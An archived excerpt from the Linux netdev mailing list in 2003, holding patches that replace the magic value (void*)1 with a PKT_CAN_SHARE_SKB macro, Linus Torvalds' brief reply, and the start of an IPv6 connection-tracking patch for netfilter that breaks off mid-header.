PKT_CAN_SHARE_SKB [1/3] include/linux/netdevice.h From: Joe Perches To: Linus Torvalds Cc: David S Miller , Kernel Mailing List , netdev@oss.sgi.com In-Reply-To: <1064423867.15283.11.camel@localhost.localdomain> References: <1064423867.15283.11.camel@localhost.localdomain> Content-Type: text/plain Message-Id: <1064442780.15437.25.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 24 Sep 2003 15:33:00 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 208 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 832 Lines: 23 On Wed, 2003-09-24 at 10:17, Joe Perches wrote: > On Wed, 2003-09-24 at 10:13, Linus Torvalds wrote: > > Looks sane, but wouldn't it be cleaner to put this ugly special case logic > > with casts etc in an inline function and make the code a bit more readable > > at the same time? > > I've got those. > > I've done the ((void*)1) conversions to PKT_SHARED_SKBs > and found this missing. I'll submit those separately. diff -urN linux-2.6.0-test5/include/linux/netdevice.h shared_skb/include/linux/netdevice.h -- linux-2.6.0-test5/include/linux/netdevice.h 2003-09-22 08:04:03.000000000 -0700 +++ shared_skb/include/linux/netdevice.h 2003-09-22 13:10:07.000000000 -0700 @@ -477,6 +477,7 @@ */ #define SET_NETDEV_DEV(net, pdev) ((net)->class_dev.dev = (pdev)) +#define PKT_CAN_SHARE_SKB ((void*)1) struct packet_type { From joe@perches.com Wed Sep 24 15:34:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 15:34:12 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OMY6Fx028737 for ; Wed, 24 Sep 2003 15:34:06 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA15112; Wed, 24 Sep 2003 16:15:53 -0700 Subject: [PATCH] 2.6.0-test5-bk11 PKT_CAN_SHARE_SKB [2/3] drivers/net/* From: Joe Perches To: Linus Torvalds Cc: David S Miller , Kernel Mailing List , netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1064442811.15437.26.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 24 Sep 2003 15:33:31 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 209 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 2650 Lines: 68 diff -urN linux-2.6.0-test5/drivers/net/bonding/bond_alb.c shared_skb/drivers/net/bonding/bond_alb.c -- linux-2.6.0-test5/drivers/net/bonding/bond_alb.c 2003-09-22 08:03:41.000000000 -0700 +++ shared_skb/drivers/net/bonding/bond_alb.c 2003-09-22 13:10:57.000000000 -0700 @@ -888,7 +888,7 @@ pk_type->type = __constant_htons(ETH_P_ARP); pk_type->dev = bond->device; pk_type->func = rlb_arp_recv; - pk_type->data = (void*)1; /* understand shared skbs */ + pk_type->data = PKT_CAN_SHARE_SKB; dev_add_pack(pk_type); diff -urN linux-2.6.0-test5/drivers/net/bonding/bond_main.c shared_skb/drivers/net/bonding/bond_main.c -- linux-2.6.0-test5/drivers/net/bonding/bond_main.c 2003-09-22 08:03:41.000000000 -0700 +++ shared_skb/drivers/net/bonding/bond_main.c 2003-09-22 13:10:55.000000000 -0700 @@ -955,7 +955,7 @@ pk_type->type = PKT_TYPE_LACPDU; pk_type->dev = bond->device; pk_type->func = bond_3ad_lacpdu_recv; - pk_type->data = (void*)1; /* understand shared skbs */ + pk_type->data = PKT_CAN_SHARE_SKB; dev_add_pack(pk_type); } diff -urN linux-2.6.0-test5/drivers/net/pppoe.c shared_skb/drivers/net/pppoe.c -- linux-2.6.0-test5/drivers/net/pppoe.c 2003-09-22 08:03:43.000000000 -0700 +++ shared_skb/drivers/net/pppoe.c 2003-09-22 13:10:52.000000000 -0700 @@ -468,13 +468,13 @@ static struct packet_type pppoes_ptype = { .type = __constant_htons(ETH_P_PPP_SES), .func = pppoe_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; static struct packet_type pppoed_ptype = { .type = __constant_htons(ETH_P_PPP_DISC), .func = pppoe_disc_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; /*********************************************************************** diff -urN linux-2.6.0-test5/drivers/net/wan/hdlc_generic.c shared_skb/drivers/net/wan/hdlc_generic.c -- linux-2.6.0-test5/drivers/net/wan/hdlc_generic.c 2003-09-08 12:49:53.000000000 -0700 +++ shared_skb/drivers/net/wan/hdlc_generic.c 2003-09-22 13:11:02.000000000 -0700 @@ -283,7 +283,7 @@ { .type = __constant_htons(ETH_P_HDLC), .func = hdlc_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; diff -urN linux-2.6.0-test5/drivers/net/wan/syncppp.c shared_skb/drivers/net/wan/syncppp.c -- linux-2.6.0-test5/drivers/net/wan/syncppp.c 2003-09-08 12:49:58.000000000 -0700 +++ shared_skb/drivers/net/wan/syncppp.c 2003-09-22 13:11:00.000000000 -0700 @@ -1454,7 +1454,7 @@ struct packet_type sppp_packet_type = { .type = __constant_htons(ETH_P_WAN_PPP), .func = sppp_rcv, - .data = (void*)1, /* must be non-NULL to indicate 'new' protocol */ + .data = PKT_CAN_SHARE_SKB, }; static char banner[] __initdata = From joe@perches.com Wed Sep 24 15:34:26 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 15:34:33 -0700 (PDT) Received: from Perches.com (DSL022.labridge.com [206.117.136.22]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OMYPFx028810 for ; Wed, 24 Sep 2003 15:34:26 -0700 Received: from [192.168.1.128] (local128.perches.com [192.168.1.128]) by Perches.com (8.9.3/8.9.3) with ESMTP id QAA15117; Wed, 24 Sep 2003 16:16:12 -0700 Subject: [PATCH] 2.6.0-test5-bk11 PKT_CAN_SHARE_SKB [3/3] net/* From: Joe Perches To: Linus Torvalds Cc: David S Miller , Kernel Mailing List , netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Message-Id: <1064442830.15437.27.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 Date: Wed, 24 Sep 2003 15:33:50 -0700 Content-Transfer-Encoding: 7bit X-archive-position: 210 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: joe@perches.com Precedence: bulk X-list: netdev Content-Length: 5896 Lines: 163 diff -urN linux-2.6.0-test5/net/8021q/vlan.c shared_skb/net/8021q/vlan.c -- linux-2.6.0-test5/net/8021q/vlan.c 2003-09-08 12:50:21.000000000 -0700 +++ shared_skb/net/8021q/vlan.c 2003-09-22 13:10:22.000000000 -0700 @@ -67,7 +67,7 @@ static struct packet_type vlan_packet_type = { .type = __constant_htons(ETH_P_8021Q), .func = vlan_skb_recv, /* VLAN receive method */ - .data = (void *)1, /* understands shared skb */ + .data = PKT_CAN_SHARE_SKB, }; /* End of global variables definitions. */ diff -urN linux-2.6.0-test5/net/appletalk/ddp.c shared_skb/net/appletalk/ddp.c -- linux-2.6.0-test5/net/appletalk/ddp.c 2003-09-08 12:50:43.000000000 -0700 +++ shared_skb/net/appletalk/ddp.c 2003-09-22 13:10:26.000000000 -0700 @@ -1872,13 +1872,13 @@ struct packet_type ltalk_packet_type = { .type = __constant_htons(ETH_P_LOCALTALK), .func = ltalk_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; struct packet_type ppptalk_packet_type = { .type = __constant_htons(ETH_P_PPPTALK), .func = atalk_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; static unsigned char ddp_snap_id[] = { 0x08, 0x00, 0x07, 0x80, 0x9B }; diff -urN linux-2.6.0-test5/net/ax25/af_ax25.c shared_skb/net/ax25/af_ax25.c -- linux-2.6.0-test5/net/ax25/af_ax25.c 2003-09-08 12:50:28.000000000 -0700 +++ shared_skb/net/ax25/af_ax25.c 2003-09-22 13:10:30.000000000 -0700 @@ -1978,7 +1978,7 @@ .type = __constant_htons(ETH_P_AX25), .dev = NULL, /* All devices */ .func = ax25_kiss_rcv, - .data = (void *) 1 + .data = PKT_CAN_SHARE_SKB, }; static struct notifier_block ax25_dev_notifier = { diff -urN linux-2.6.0-test5/net/core/dev.c shared_skb/net/core/dev.c -- linux-2.6.0-test5/net/core/dev.c 2003-09-22 08:04:06.000000000 -0700 +++ shared_skb/net/core/dev.c 2003-09-22 14:02:08.000000000 -0700 @@ -233,7 +233,7 @@ spin_lock_bh(&ptype_lock); #ifdef CONFIG_NET_FASTROUTE /* Hack to detect packet socket */ - if (pt->data && (long)(pt->data) != 1) { + if (pt->data && pt->data != PKT_CAN_SHARE_SKB) { netdev_fastroute_obstacles++; dev_clear_fastroute(pt->dev); } @@ -281,7 +281,7 @@ list_for_each_entry(pt1, head, list) { if (pt == pt1) { #ifdef CONFIG_NET_FASTROUTE - if (pt->data) + if (pt->data && pt->data != PKT_CAN_SHARE_SKB) netdev_fastroute_obstacles--; #endif list_del_rcu(&pt->list); diff -urN linux-2.6.0-test5/net/decnet/af_decnet.c shared_skb/net/decnet/af_decnet.c -- linux-2.6.0-test5/net/decnet/af_decnet.c 2003-09-22 08:04:06.000000000 -0700 +++ shared_skb/net/decnet/af_decnet.c 2003-09-22 13:10:24.000000000 -0700 @@ -2081,7 +2081,7 @@ .type = __constant_htons(ETH_P_DNA_RT), .dev = NULL, /* All devices */ .func = dn_route_rcv, - .data = (void*)1, + .data = PKT_CAN_SHARE_SKB, }; #ifdef CONFIG_PROC_FS diff -urN linux-2.6.0-test5/net/ipv4/arp.c shared_skb/net/ipv4/arp.c -- linux-2.6.0-test5/net/ipv4/arp.c 2003-09-22 08:04:06.000000000 -0700 +++ shared_skb/net/ipv4/arp.c 2003-09-22 13:10:36.000000000 -0700 @@ -1108,7 +1108,7 @@ static struct packet_type arp_packet_type = { .type = __constant_htons(ETH_P_ARP), .func = arp_rcv, - .data = (void*) 1, /* understand shared skbs */ + .data = PKT_CAN_SHARE_SKB, }; static int arp_proc_init(void); diff -urN linux-2.6.0-test5/net/ipv4/ip_output.c shared_skb/net/ipv4/ip_output.c -- linux-2.6.0-test5/net/ipv4/ip_output.c 2003-09-08 12:50:40.000000000 -0700 +++ shared_skb/net/ipv4/ip_output.c 2003-09-22 13:10:41.000000000 -0700 @@ -1299,7 +1299,7 @@ .type = __constant_htons(ETH_P_IP), .dev = NULL, /* All devices */ .func = ip_rcv, - .data = (void*)1, + .data = PKT_CAN_SHARE_SKB, }; /* diff -urN linux-2.6.0-test5/net/ipv6/ipv6_sockglue.c shared_skb/net/ipv6/ipv6_sockglue.c -- linux-2.6.0-test5/net/ipv6/ipv6_sockglue.c 2003-09-08 12:49:52.000000000 -0700 +++ shared_skb/net/ipv6/ipv6_sockglue.c 2003-09-22 13:10:28.000000000 -0700 @@ -62,7 +62,7 @@ .type = __constant_htons(ETH_P_IPV6), .dev = NULL, /* All devices */ .func = ipv6_rcv, - .data = (void*)1, + .data = PKT_CAN_SHARE_SKB, }; /* diff -urN linux-2.6.0-test5/net/ipx/af_ipx.c shared_skb/net/ipx/af_ipx.c -- linux-2.6.0-test5/net/ipx/af_ipx.c 2003-09-08 12:49:54.000000000 -0700 +++ shared_skb/net/ipx/af_ipx.c 2003-09-22 14:01:56.000000000 -0700 @@ -1920,13 +1920,13 @@ static struct packet_type ipx_8023_packet_type = { .type = __constant_htons(ETH_P_802_3), .func = ipx_rcv, - .data = (void *)1, /* yap, I understand shared skbs :-) */ + .data = PKT_CAN_SHARE_SKB, }; static struct packet_type ipx_dix_packet_type = { .type = __constant_htons(ETH_P_IPX), .func = ipx_rcv, - .data = (void *)1, /* yap, I understand shared skbs :-) */ + .data = PKT_CAN_SHARE_SKB, }; static struct notifier_block ipx_dev_notifier = { diff -urN linux-2.6.0-test5/net/irda/irsyms.c shared_skb/net/irda/irsyms.c -- linux-2.6.0-test5/net/irda/irsyms.c 2003-09-08 12:50:28.000000000 -0700 +++ shared_skb/net/irda/irsyms.c 2003-09-22 13:10:38.000000000 -0700 @@ -191,7 +191,7 @@ .type = __constant_htons(ETH_P_IRDA), .dev = NULL, /* Wildcard : All devices */ .func = irlap_driver_rcv, /* Packet type handler irlap_frame.c */ - .data = (void*) 1, /* Understand shared skbs */ + .data = PKT_CAN_SHARE_SKB, //.next = NULL, }; diff -urN linux-2.6.0-test5/net/llc/llc_core.c shared_skb/net/llc/llc_core.c -- linux-2.6.0-test5/net/llc/llc_core.c 2003-09-22 08:04:08.000000000 -0700 +++ shared_skb/net/llc/llc_core.c 2003-09-22 13:10:33.000000000 -0700 @@ -140,13 +140,13 @@ static struct packet_type llc_packet_type = { .type = __constant_htons(ETH_P_802_2), .func = llc_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; static struct packet_type llc_tr_packet_type = { .type = __constant_htons(ETH_P_TR_802_2), .func = llc_rcv, - .data = (void *)1, + .data = PKT_CAN_SHARE_SKB, }; static int __init llc_init(void) From torvalds@osdl.org Wed Sep 24 15:37:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 24 Sep 2003 15:37:36 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8OMbVFx029705 for ; Wed, 24 Sep 2003 15:37:32 -0700 Received: from localhost (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with ESMTP id h8OMaj110804; Wed, 24 Sep 2003 15:36:45 -0700 Date: Wed, 24 Sep 2003 15:36:45 -0700 (PDT) From: Linus Torvalds To: Joe Perches cc: David S Miller , Kernel Mailing List , Subject: Re: [PATCH] 2.6.0-test5-bk11 PKT_CAN_SHARE_SKB [1/3] include/linux/netdevice.h In-Reply-To: <1064442780.15437.25.camel@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 211 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: torvalds@osdl.org Precedence: bulk X-list: netdev Content-Length: 42 Lines: 5 David, will you pick these up? Linus From yasuyuki.kozakai@toshiba.co.jp Thu Sep 25 02:04:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 02:04:51 -0700 (PDT) Received: from inet-tsb.toshiba.co.jp (inet-tsb.toshiba.co.jp [202.33.96.40]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8P94UFx024890 for ; Thu, 25 Sep 2003 02:04:31 -0700 Received: from tsb-wall.toshiba.co.jp ([133.199.160.134]) by inet-tsb.toshiba.co.jp with ESMTP id h8P5LKlb013672; Thu, 25 Sep 2003 14:21:20 +0900 (JST) Received: (from root@localhost) by tsb-wall.toshiba.co.jp id h8P5LK7E015782; Thu, 25 Sep 2003 14:21:20 +0900 (JST) Received: from tis2 [133.199.160.66] by tsb-wall.toshiba.co.jp with SMTP id QAA15771 ; Thu, 25 Sep 2003 14:21:20 +0900 Received: from mx.toshiba.co.jp by tis2.tis.toshiba.co.jp id OAA05473; Thu, 25 Sep 2003 14:21:18 +0900 (JST) Received: by toshiba.co.jp id OAA29293; Thu, 25 Sep 2003 14:21:12 +0900 (JST) Date: Thu, 25 Sep 2003 14:21:10 +0900 (JST) Message-Id: <200309250521.OAA29293@toshiba.co.jp> To: rusty@rustcorp.com.au, laforge@netfilter.org Cc: netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: [Patch]: IPv6 Connection Tracking From: Yasuyuki Kozakai X-Mailer: Mew version 3.3 on Emacs 20.7 / Mule 4.0 (HANANOEN) Mime-Version: 1.0 Content-Type: Multipart/Mixed; boundary="--Next_Part(Thu_Sep_25_14:21:10_2003_343)--" Content-Transfer-Encoding: 7bit X-archive-position: 212 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yasuyuki.kozakai@toshiba.co.jp Precedence: bulk X-list: netdev Content-Length: 158774 Lines: 5377 ----Next_Part(Thu_Sep_25_14:21:10_2003_343)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit I failed to send this message, so I resend. I'm sorry about duplicated messages if you received. ----------------------- Hello, I'm writing to you for the first time. I'm a member of USAGI Project. A few months ago, I told in Netfilter developer mailinglist that I was coding IPv6 Connection Tracking in Linux 2.5, 2.6. I completed that, so I send the patch. The summaries are below. - based on IPv4 Connection Tracking * TCP, UDP, ICMPv6 Echo, FTP, state module, * multiple expectations can be used. - Fragmented packets is handled as below, so "Path MTU Discovery" isn't disturbed, and can be reduced copying skb. 1. clone skb, and original skb isn't touched. 2. cloned skbs are reassembled into one skb. the codes for this processing are based on net/ipv6/reassembly.c 3. reassembled packet is tracked. 4. set nf_ct_info of reassembled skb to original skbs. 5. original skbs are passed to next hook function at PREROUTING. (none functions in present) 6. reassembled packet is discarded. - The offset at protocol header is passed to the various functions in order to parse Extension Headers at once. - NAT is not supported - Multicast packets aren't handled. - Resent patches in patch-o-matic/submitted/* are followed up. I tested by using regular packets: - TCP, UDP, ICMPv6 Echo, ICMPv6 Error, FTP, Fragmented UDP packets and illegal packets: - TCP, FTP, ICMPV6 Error with incorrect checksum - TCP, FTP with incorrect sequence number - irregular Fragmented UDP packets - unknown Extension Header - and so on. The codes handling multiple expectations aren't be tested, because I don't know such a application with IPv6. But they are same as IPv4 conntrack except names of functions, variables. Regards ---------------------------------------- Yasuyuki KOZAKAI Communication Platform Laboratory, Corporate Research & Development Center, Toshiba Corporation yasuyuki.kozakai@toshiba.co.jp ---------------------------------------- ----Next_Part(Thu_Sep_25_14:21:10_2003_343)-- Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="conntrack6.patch" diff -Nur linux-2.6.0-test5/include/linux/netfilter.h linux-2.6.0-test5-ct6/include/linux/netfilter.h --- linux-2.6.0-test5/include/linux/netfilter.h 2003-09-09 04:50:06.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter.h 2003-09-24 11:35:33.000000000 +0900 @@ -155,6 +155,10 @@ extern void (*ip_ct_attach)(struct sk_buff *, struct nf_ct_info *); +#ifdef CONFIG_IPV6 +extern void (*ip6_ct_attach)(struct sk_buff *, struct nf_ct_info *); +#endif + #ifdef CONFIG_NETFILTER_DEBUG extern void nf_dump_skb(int pf, struct sk_buff *skb); #endif diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,265 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_H +#define _IP6_CONNTRACK_H +/* Connection state tracking for netfilter. This is separated from, + but required by, the NAT layer; it can also be used by an iptables + extension. */ + +#include +#include +#include +#include +#include + +enum ip6_conntrack_info +{ + /* Part of an established connection (either direction). */ + IP6_CT_ESTABLISHED, + + /* Like NEW, but related to an existing connection, or ICMP error + (in either direction). */ + IP6_CT_RELATED, + + /* Started a new connection to track (only + IP6_CT_DIR_ORIGINAL); may be a retransmission. */ + IP6_CT_NEW, + + /* >= this indicates reply direction */ + IP6_CT_IS_REPLY, + + /* Number of distinct IP6_CT types (no NEW in reply dirn). */ + IP6_CT_NUMBER = IP6_CT_IS_REPLY * 2 - 1 +}; + +/* Bitset representing status of connection. */ +enum ip6_conntrack_status { + /* It's an expected connection: bit 0 set. This bit never changed */ + IP6S_EXPECTED_BIT = 0, + IP6S_EXPECTED = (1 << IP6S_EXPECTED_BIT), + + /* We've seen packets both ways: bit 1 set. Can be set, not unset. */ + IP6S_SEEN_REPLY_BIT = 1, + IP6S_SEEN_REPLY = (1 << IP6S_SEEN_REPLY_BIT), + + /* Conntrack should never be early-expired. */ + IP6S_ASSURED_BIT = 2, + IP6S_ASSURED = (1 << IP6S_ASSURED_BIT), + + /* Connection is confirmed: originating packet has left box */ + IP6S_CONFIRMED_BIT = 3, + IP6S_CONFIRMED = (1 << IP6S_CONFIRMED_BIT), +}; + +#include +#include + +/* per conntrack: protocol private data */ +union ip6_conntrack_proto { + /* insert conntrack proto private data here */ + struct ip6_ct_tcp tcp; + struct ip6_ct_icmpv6 icmpv6; +}; + +union ip6_conntrack_expect_proto { + /* insert expect proto private data here */ +}; + +/* Add protocol helper include file here */ +#include + +/* per expectation: application helper private data */ +union ip6_conntrack_expect_help { + /* insert conntrack helper private data (expect) here */ + struct ip6_ct_ftp_expect exp_ftp_info; +}; + +/* per conntrack: application helper private data */ +union ip6_conntrack_help { + /* insert conntrack helper private data (master) here */ + struct ip6_ct_ftp_master ct_ftp_info; +}; + +#ifdef __KERNEL__ + +#include +#include + +#ifdef CONFIG_NF_DEBUG +#define IP6_NF_ASSERT(x) \ +do { \ + if (!(x)) \ + /* Wooah! I'm tripping my conntrack in a frenzy of \ + netplay... */ \ + printk("NF_IP6_ASSERT: %s:%i(%s)\n", \ + __FILE__, __LINE__, __FUNCTION__); \ +} while(0) +#else +#define IP6_NF_ASSERT(x) +#endif + +struct ip6_conntrack_expect +{ + /* Internal linked list (global expectation list) */ + struct list_head list; + + /* reference count */ + atomic_t use; + + /* expectation list for this master */ + struct list_head expected_list; + + /* The conntrack of the master connection */ + struct ip6_conntrack *expectant; + + /* The conntrack of the sibling connection, set after + * expectation arrived */ + struct ip6_conntrack *sibling; + + /* IPv6 packet is never NATed */ + /* Tuple saved for conntrack */ +/* + struct ip6_conntrack_tuple ct_tuple; +*/ + + /* Timer function; deletes the expectation. */ + struct timer_list timeout; + + /* Data filled out by the conntrack helpers follow: */ + + /* We expect this tuple, with the following mask */ + struct ip6_conntrack_tuple tuple, mask; + + /* Function to call after setup and insertion */ + int (*expectfn)(struct ip6_conntrack *new); + + /* At which sequence number did this expectation occur */ + u_int32_t seq; + + union ip6_conntrack_expect_proto proto; + + union ip6_conntrack_expect_help help; +}; + +#include +struct ip6_conntrack +{ + /* Usage count in here is 1 for hash table/destruct timer, 1 per skb, + plus 1 for any connection(s) we are `master' for */ + struct nf_conntrack ct_general; + + /* These are my tuples; original and reply */ + struct ip6_conntrack_tuple_hash tuplehash[IP6_CT_DIR_MAX]; + + /* Have we seen traffic both ways yet? (bitset) */ + unsigned long status; + + /* Timer function; drops refcnt when it goes off. */ + struct timer_list timeout; + + /* If we're expecting another related connection, this will be + in expected linked list */ + struct list_head sibling_list; + + /* Current number of expected connections */ + unsigned int expecting; + + /* If we were expected by an expectation, this will be it */ + struct ip6_conntrack_expect *master; + + /* Helper, if any. */ + struct ip6_conntrack_helper *helper; + + /* Our various nf_ct_info structs specify *what* relation this + packet has to the conntrack */ + struct nf_ct_info infos[IP6_CT_NUMBER]; + + /* Storage reserved for other modules: */ + + union ip6_conntrack_proto proto; + + union ip6_conntrack_help help; +}; + +/* get master conntrack via master expectation */ +#define master_ct6(conntr) (conntr->master ? conntr->master->expectant : NULL) + +/* Alter reply tuple (maybe alter helper). If it's already taken, + return 0 and don't do alteration. */ +extern int +ip6_conntrack_alter_reply(struct ip6_conntrack *conntrack, + const struct ip6_conntrack_tuple *newreply); + +/* Is this tuple taken? (ignoring any belonging to the given + conntrack). */ +extern int +ip6_conntrack_tuple_taken(const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack); + +/* Return conntrack_info and tuple hash for given skb. */ +extern struct ip6_conntrack * +ip6_conntrack_get(struct sk_buff *skb, enum ip6_conntrack_info *ctinfo); + +/* decrement reference count on a conntrack */ +extern inline void ip6_conntrack_put(struct ip6_conntrack *ct); + +/* find unconfirmed expectation based on tuple */ +struct ip6_conntrack_expect * +ip6_conntrack_expect_find_get(const struct ip6_conntrack_tuple *tuple); + +/* decrement reference count on an expectation */ +void ip6_conntrack_expect_put(struct ip6_conntrack_expect *exp); + +/* call to create an explicit dependency on ip6_conntrack. */ +extern void need_ip6_conntrack(void); + +extern int ip6_invert_tuplepr(struct ip6_conntrack_tuple *inverse, + const struct ip6_conntrack_tuple *orig); + +/* Refresh conntrack for this many jiffies */ +extern void ip6_ct_refresh(struct ip6_conntrack *ct, + unsigned long extra_jiffies); + +/* Call me when a conntrack is destroyed. */ +extern void (*ip6_conntrack_destroyed)(struct ip6_conntrack *conntrack); + +/* Returns new sk_buff, or NULL */ +struct sk_buff * +ip6_ct_gather_frags(struct sk_buff *skb); + +/* Delete all conntracks which match. */ +extern void +ip6_ct_selective_cleanup(int (*kill)(const struct ip6_conntrack *i, void *data), + void *data); + +/* It's confirmed if it is, or has been in the hash table. */ +static inline int is_confirmed(struct ip6_conntrack *ct) +{ + return test_bit(IP6S_CONFIRMED_BIT, &ct->status); +} + +extern unsigned int ip6_conntrack_htable_size; + +/* eg. PROVIDES_CONNTRACK6(ftp); */ +#define PROVIDES_CONNTRACK6(name) \ + int needs_ip6_conntrack_##name; \ + EXPORT_SYMBOL(needs_ip6_conntrack_##name) + +/*. eg. NEEDS_CONNTRACK6(ftp); */ +#define NEEDS_CONNTRACK6(name) \ + extern int needs_ip6_conntrack_##name; \ + static int *need_ip6_conntrack_##name __attribute_used__ = &needs_ip6_conntrack_##name + +#endif /* __KERNEL__ */ +#endif /* _IP6_CONNTRACK_H */ diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_core.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_core.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_core.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_core.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,69 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_core.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef _IP6_CONNTRACK_CORE_H +#define _IP6_CONNTRACK_CORE_H +#include +#include + +/* This header is used to share core functionality between the + standalone connection tracking module, and the compatibility layer's use + of connection tracking. */ +extern unsigned int ip6_conntrack_in(unsigned int hooknum, + struct sk_buff **pskb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)); + +extern int ip6_conntrack_init(void); +extern void ip6_conntrack_cleanup(void); + +struct ip6_conntrack_protocol; +extern struct ip6_conntrack_protocol *ip6_ct_find_proto(u_int8_t protocol); +/* Like above, but you already have conntrack read lock. */ +extern struct ip6_conntrack_protocol *__ip6_ct_find_proto(u_int8_t protocol); +extern struct list_head ip6_protocol_list; + +/* Returns conntrack if it dealt with ICMP, and filled in skb->nfct */ +extern struct ip6_conntrack *icmp6_error_track(struct sk_buff *skb, + unsigned int icmp6off, + enum ip6_conntrack_info *ctinfo, + unsigned int hooknum); +extern int ip6_get_tuple(const struct ipv6hdr *ipv6h, + const struct sk_buff *skb, + unsigned int protoff, + u_int8_t protonum, + struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_protocol *protocol); + +/* Find a connection corresponding to a tuple. */ +struct ip6_conntrack_tuple_hash * +ip6_conntrack_find_get(const struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack *ignored_conntrack); + +extern int __ip6_conntrack_confirm(struct nf_ct_info *nfct); + +/* Confirm a connection: returns NF_DROP if packet must be dropped. */ +static inline int ip6_conntrack_confirm(struct sk_buff *skb) +{ + if (skb->nfct + && !is_confirmed((struct ip6_conntrack *)skb->nfct->master)) + return __ip6_conntrack_confirm(skb->nfct); + return NF_ACCEPT; +} + +extern struct list_head *ip6_conntrack_hash; +extern struct list_head ip6_conntrack_expect_list; +DECLARE_RWLOCK_EXTERN(ip6_conntrack_lock); +#endif /* _IP6_CONNTRACK_CORE_H */ + diff -Nur linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_ftp.h linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_ftp.h --- linux-2.6.0-test5/include/linux/netfilter_ipv6/ip6_conntrack_ftp.h 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/include/linux/netfilter_ipv6/ip6_conntrack_ftp.h 2003-09-24 11:36:37.000000000 +0900 @@ -0,0 +1,57 @@ +/* + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: include/linux/netfilter_ipv4/ip_conntrack_ftp.h + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ +#ifndef 